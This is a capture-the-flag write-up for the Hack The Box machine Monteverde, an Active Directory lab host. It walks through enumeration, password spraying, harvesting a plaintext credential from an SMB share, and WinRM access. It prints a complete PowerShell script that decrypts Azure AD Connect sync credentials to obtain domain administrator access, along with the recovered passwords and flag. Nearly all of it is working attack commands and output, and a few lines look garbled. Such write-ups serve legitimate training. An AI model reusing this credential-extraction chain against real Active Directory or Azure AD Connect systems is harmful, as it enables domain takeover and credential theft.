

Information Gathering

1) Found open ports

```
(vigneswar@VigneswarPC)~$ nmap 10.10.10.172
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 13:47 IST
Nmap scan report for 10.10.10.172
Host is up (0.18s latency).
Not shown: 65517 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Simple DNS Plus
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2024-07-13 08:20:46Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf           .NET Message Framing
49667/tcp open  msrpc            Microsoft Windows RPC
49673/tcp open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc            Microsoft Windows RPC
49675/tcp open  msrpc            Microsoft Windows RPC
49741/tcp open  msrpc            Microsoft Windows RPC
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb2-time:
|   date: 2024-07-13T08:21:42
|_ start_date: N/A
|_ smb2-security-mode:
|   3.1:1:
|_ Message signing enabled and required
```

RPC and LDAP enumeration

1) Enumerated domain information

```
===== ( Getting domain SID for 10.10.10.172 ) =====
Domain Name: MEGABANK
Domain Sid: S-1-5-21-391775091-850290835-3566037492
[+] Host is part of a domain (not a workgroup)

===== ( Users on 10.10.10.172 ) =====
index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2 Name: AAD_987d7f2f57d2 Desc: Service account for the Synchronization Service with i
nstallation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos Name: Dimitris Galanos Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope Name: Mike Hope Desc: (null)
index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary Name: Ray O'Leary Desc: (null)
index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs Name: SABatchJobs Desc: (null)
index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan Name: Sally Morgan Desc: (null)
index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata Name: svc-ata Desc: (null)
index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec Name: svc-bexec Desc: (null)
index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp Name: svc-netapp Desc: (null)

user: [Guest] rid: [0x1f5]
user: [AAD_987d7f2f57d2] rid: [0x450]
user: [mhope] rid: [0x641]
user: [SABatchJobs] rid: [0xa2a]
user: [svc-ata] rid: [0xa2b]
user: [svc-bexec] rid: [0xa2c]
user: [svc-netapp] rid: [0xa2d]
user: [dgalanos] rid: [0xa35]
user: [roleary] rid: [0xa36]
user: [smorgan] rid: [0xa37]
```

```

===== ( Password Policy Information for 10.10.10.172 ) =====
HACKTHEBOX
[+] Attaching to 10.10.10.172 using a NULL share
[+] Trying protocol 139/SMB...
[!] Protocol failed: Cannot request session (Called Name:10.10.10.172)
[+] Trying protocol 445/SMB...
[+] Found domain(s):
    [+] MEGABANK
    [+] Builtin
[+] Password Info for Domain: MEGABANK
    [+] Minimum password length: 7
    [+] Password history length: 24
    [+] Maximum password age: 41 days 23 hours 53 minutes
    [+] Password Complexity Flags: 000000
        [+] Domain Refuse Password Change: 0
        [+] Domain Password Store Cleartext: 0
        [+] Domain Password Lockout Admins: 0
        [+] Domain Password No Clear Change: 0
        [+] Domain Password No Anon Change: 0
        [+] Domain Password Complex: 0
    [+] Minimum password age: 1 day 4 minutes
    [+] Reset Account Lockout Counter: 30 minutes
    [+] Locked Account Duration: 30 minutes
    [+] Account Lockout Threshold: None
    [+] Forced Log off Time: Not Set

```

```

Group: 'Azure Admins' (RID: 2601) has member: MEGABANK\Administrator
Group: 'Azure Admins' (RID: 2601) has member: MEGABANK\AAD_987d7f2f57d2
Group: 'Azure Admins' (RID: 2601) has member: MEGABANK\mhope
Group: 'Trading' (RID: 2610) has member: MEGABANK\dgalanos
Group: 'Domain Users' (RID: 513) has member: MEGABANK\Administrator
Group: 'Domain Users' (RID: 513) has member: MEGABANK\krbtgt
Group: 'Domain Users' (RID: 513) has member: MEGABANK\AAD_987d7f2f57d2
Group: 'Domain Users' (RID: 513) has member: MEGABANK\mhope
Group: 'Domain Users' (RID: 513) has member: MEGABANK\SABatchJobs
Group: 'Domain Users' (RID: 513) has member: MEGABANK\svc-ata
Group: 'Domain Users' (RID: 513) has member: MEGABANK\svc-bexec
Group: 'Domain Users' (RID: 513) has member: MEGABANK\svc-netapp
Group: 'Domain Users' (RID: 513) has member: MEGABANK\dgalanos
Group: 'Domain Users' (RID: 513) has member: MEGABANK\roleary
Group: 'Domain Users' (RID: 513) has member: MEGABANK\smorgan
Group: 'HelpDesk' (RID: 2611) has member: MEGABANK\roleary
Group: 'Domain Guests' (RID: 514) has member: MEGABANK\Guest
Group: 'Group Policy Creator Owners' (RID: 520) has member: MEGABANK\Administrator
Group: 'Operations' (RID: 2609) has member: MEGABANK\smorgan

```

2) Enumerated kerberos preauth

```
(vigneswar@VigneswarPC)-[~]
$ impacket-GetNPUsers MEGABANK/ -usersfile users -dc-ip 10.10.10.172
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[-] User AAD_987d7f2f57d2 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dgalanos doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User mhope doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User roleary doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User SABatchJobs doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User smorgan doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-ata doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-bexec doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-netapp doesn't have UF_DONT_REQUIRE_PREAUTH set

(vigneswar@VigneswarPC)-[~]
$ |
```


```
index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2 Name: AAD_987d7f2f57d2 Desc: Service account for the Synchronization Service with i
nstallation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos Name: Dimitris Galanos Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope Name: Mike Hope Desc: (null)
index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary Name: Ray O'Leary Desc: (null)
index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs Name: SABatchJobs Desc: (null)
index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan Name: Sally Morgan Desc: (null)
index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata Name: svc-ata Desc: (null)
index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec Name: svc-bexec Desc: (null)
index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp Name: svc-netapp Desc: (null)
```

Vulnerability Assessment

1) Found a user with username as password

```
(vigneswar@VigneswarPC)-[~]
$ crackmapexec smb 10.10.10.172 -u users -p users located on the path: user's desktop
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (S
MBv1:False)
SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
```

```
(vigneswar@VigneswarPC)-[~]
$ smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs
```




```
SMBMap - Samba Share Enumerator v1.10.2 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.10.10.172:445      Name: 10.10.10.172      Status: Authenticated
    Disk
    ----
    Permissions      Comment
    -----
    ADMIN$           NO ACCESS           Remote Admin
    azure_uploads    READ ONLY
    C$               NO ACCESS           Default share
    E$               NO ACCESS           Default share
    IPC$             READ ONLY           Remote IPC
    NETLOGON         READ ONLY           Logon server share
    SYSVOL           READ ONLY           Logon server share
    users$           READ ONLY
```

2) Checked the files

```
(vigneswar@VigneswarPC)-[~]
$ smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs -r --depth 10
```



```
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com<mailto:ShawnDEvans@gmail.com>
https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.10.10.172:445      Name: 10.10.10.172      Status: Authenticated
    Disk
    ----
    Permissions      Comment
    -----
    ADMIN$           NO ACCESS           Remote Admin
    azure_uploads    READ ONLY
    ./azure_uploads  0 Fri Jan 3 18:13:36 2020  .
    dr--r--r--      0 Fri Jan 3 18:13:36 2020  ..
    C$              NO ACCESS           Default share
    E$              NO ACCESS           Default share
    IPC$            READ ONLY           Remote IPC
    ./IPC$
    fr--r--r--      3 Mon Jan 1 05:53:28 1601  InitShutdown
    fr--r--r--      4 Mon Jan 1 05:53:28 1601  lsass
    fr--r--r--      3 Mon Jan 1 05:53:28 1601  ntsvcs
    fr--r--r--      3 Mon Jan 1 05:53:28 1601  scerpc
    fr--r--r--      1 Mon Jan 1 05:53:28 1601  Winsock2\CatalogChangeListener-378-0
    fr--r--r--      3 Mon Jan 1 05:53:28 1601  epmapper
    fr--r--r--      1 Mon Jan 1 05:53:28 1601  Winsock2\CatalogChangeListener-1d8-0
    fr--r--r--      3 Mon Jan 1 05:53:28 1601  LSM_API_service
    fr--r--r--      3 Mon Jan 1 05:53:28 1601  eventlog
    fr--r--r--      1 Mon Jan 1 05:53:28 1601  Winsock2\CatalogChangeListener-47c-0
    fr--r--r--      3 Mon Jan 1 05:53:28 1601  atsvc
```

```

./SYSVOL//MEGABANK.LOCAL/Policies/{6AC1786C-016F-11D2-945F-00C04FB984F9}
dr--r--r-- 0 Fri Jan 3 03:35:27 2020 .
dr--r--r-- 0 Fri Jan 3 03:35:27 2020 ..
fr--r--r-- 22 Fri Jan 3 03:56:34 2020 GPT.INI
dr--r--r-- 0 Fri Jan 3 03:35:27 2020 MACHINE
dr--r--r-- 0 Fri Jan 3 03:35:27 2020 USER
./SYSVOL//MEGABANK.LOCAL/Policies/{6AC1786C-016F-11D2-945F-00C04FB984F9}/MACHINE
dr--r--r-- 0 Fri Jan 3 03:35:27 2020 .
dr--r--r-- 0 Fri Jan 3 03:35:27 2020 ..
dr--r--r-- 0 Fri Jan 3 03:35:27 2020 Microsoft
./SYSVOL//MEGABANK.LOCAL/Policies/{6AC1786C-016F-11D2-945F-00C04FB984F9}/MACHINE/Microsoft
dr--r--r-- 0 Fri Jan 3 03:35:27 2020 .
dr--r--r-- 0 Fri Jan 3 03:35:27 2020 ..
dr--r--r-- 0 Fri Jan 3 03:35:27 2020 Windows NT
./SYSVOL//MEGABANK.LOCAL/Policies/{6AC1786C-016F-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT
dr--r--r-- 0 Fri Jan 3 03:35:27 2020 .
dr--r--r-- 0 Fri Jan 3 03:35:27 2020 ..
dr--r--r-- 0 Fri Jan 3 03:56:34 2020 SecEdit
./SYSVOL//MEGABANK.LOCAL/Policies/{6AC1786C-016F-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit
dr--r--r-- 0 Fri Jan 3 03:56:34 2020 .
dr--r--r-- 0 Fri Jan 3 03:56:34 2020 ..
fr--r--r-- 4538 Fri Jan 3 03:56:34 2020 GptTmpl.inf
users$ READ ONLY
./users$
dr--r--r-- 0 Fri Jan 3 18:42:48 2020 .
dr--r--r-- 0 Fri Jan 3 18:42:48 2020 ..
dr--r--r-- 0 Fri Jan 3 18:45:23 2020 dgalanos
dr--r--r-- 0 Fri Jan 3 19:11:18 2020 mhope
dr--r--r-- 0 Fri Jan 3 18:44:56 2020 roleary
dr--r--r-- 0 Fri Jan 3 18:44:28 2020 smorgan
./users$/mhope
dr--r--r-- 0 Fri Jan 3 19:11:18 2020 .
dr--r--r-- 0 Fri Jan 3 19:11:18 2020 ..
fw--w--w-- 1212 Fri Jan 3 20:29:24 2020 azure.xml

```

]'

3) Found a credential

```

(vigneswar@VigneswarPC)-[~]
$ smbmap -H 10.10.10.172 -u SABatchJobs -p SABatchJobs --download 'users$/mhope/azure.xml'

SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com<mailto:ShawnDEvans@gmail.com>
https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] Starting download: users$\mhope\azure.xml (1212 bytes)
[+] File output to: /home/vigneswar/10.10.10.172-users_mhope_azure.xml
[*] Closed 1 connections

(vigneswar@VigneswarPC)-[~]
$ cat 10.10.10.172-users_mhope_azure.xml
<?xml Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Obj>

```


Exploitation

1) Connected with winrm

```
(vigneswar@VigneswarPC)-[~]
$ evil-winrm -i 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$' -P 5985

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents> |
```

mhope:4n0therD4y@n0th3r\$

Privilege Escalation

1) The user is member of Azure Admins

```
*Evil-WinRM* PS C:\Users\mhope> whoami /groups
GROUP INFORMATION
-----
Group Name                                     Type                SID                  Attributes
-----
Everyone                                     Well-known group    S-1-1-0              Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias               S-1-5-32-580         Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias               S-1-5-32-545         Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access   Alias               S-1-5-32-554         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group    S-1-5-2              Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users             Well-known group    S-1-5-11             Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization               Well-known group    S-1-5-15             Mandatory group, Enabled by default, Enabled group
MEGABANK\Azure Admins                       Group               S-1-5-21-391775091-850290835-3566037492-2601 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication             Well-known group    S-1-5-64-10          Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Well-known group    S-1-16-8448
*Evil-WinRM* PS C:\Users\mhope> |
```

2) Found the version of AD sync

```
*Evil-WinRM* PS C:\Program Files\Microsoft Azure AD Sync\Bin> $path = "C:\Program Files\Microsoft Azure AD Sync\Bin\miiserver.exe"
if (Test-Path $path) {
    (Get-Item $path).VersionInfo | Select-Object ProductVersion
} else {
    Write-Output "File not found."
}

ProductVersion
-----
1.1.882.0
```

<https://blog.xpnsec.com/azuread-connect-for-redteam/>

```
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents> sqlcmd.exe -Q "use ADsync; select instance_id,keyset_id,entropy from mms_server_configuration"
Changed database context to 'ADSync'.
instance_id      keyset_id      entropy
-----
1852B527-DD4F-4ECF-B541-EFCCBFF29E31      1 194EC2FC-F186-46CF-B44D-071EB61F49CD
(1 rows affected)
*Evil-WinRM* PS C:\Users\mhope\Documents> |
```

```
Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList
"Server=MONT EVERDE;Database=ADSync;Trusted_Connection=true"
$key_id = 1
$instance_id = [GUID]"1852B527-DD4F-4ECF-B541-EFCCBFF29E31"
$entropy = [GUID]"194EC2FC-F186-46CF-B44D-071EB61F49CD"
```

```

$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration
FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$encrypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName
Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($encrypted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-
domain']" | select @{Name = 'Domain'; Expression = {$_ .node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-
login-user']" | select @{Name = 'Username'; Expression = {$_ .node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name
= 'Password'; Expression = {$_ .node.InnerText}}

Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

```

```

Info: Upload successful!
^[[A^[[B*Evil-WinRM* PS C:\Users\mhope\Doc./azuread_decrypt_msol.ps1
AD Connect Sync Credential Extract POC (@_xpn_)

Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!
*Evil-WinRM* PS C:\Users\mhope\Documents> |

```

```

(vigneswar@VigneswarPC)-[~/Temporary]
$ evil-winrm -i 10.10.10.172 -u administrator -p 'd0m@in4dminyeah!'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
4bccb772909011f3467c2a7616731ee2
*Evil-WinRM* PS C:\Users\Administrator\Desktop> |

```